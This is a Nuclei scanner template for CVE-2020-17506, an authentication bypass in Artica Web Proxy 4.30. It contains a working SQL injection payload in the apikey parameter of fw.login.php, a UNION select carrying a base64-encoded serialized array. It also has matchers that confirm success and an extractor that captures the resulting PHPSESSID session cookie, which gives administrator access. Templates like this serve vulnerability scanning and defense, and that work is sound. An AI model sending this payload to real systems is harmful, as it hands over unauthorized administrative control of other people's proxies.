nuclei-templates/cves/2020/CVE-2020-17506.yaml

42 lines
1.2 KiB
YAML

id: CVE-2020-17506
info:
name: Artica Web Proxy 4.30 Authentication Bypass
author: dwisiswant0
severity: critical
description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
tags: cve,cve2020
reference: https://blog.max0x4141.com/post/artica_proxy/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-17506
cwe-id: CWE-89
requests:
- method: GET
path:
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
words:
- "artica-applianc"
- type: status
status:
- 200
- 301
- 302
condition: or
- type: word
name: session
words:
- "PHPSESSID"
part: header
extractors:
- type: kval
kval:
- "PHPSESSID"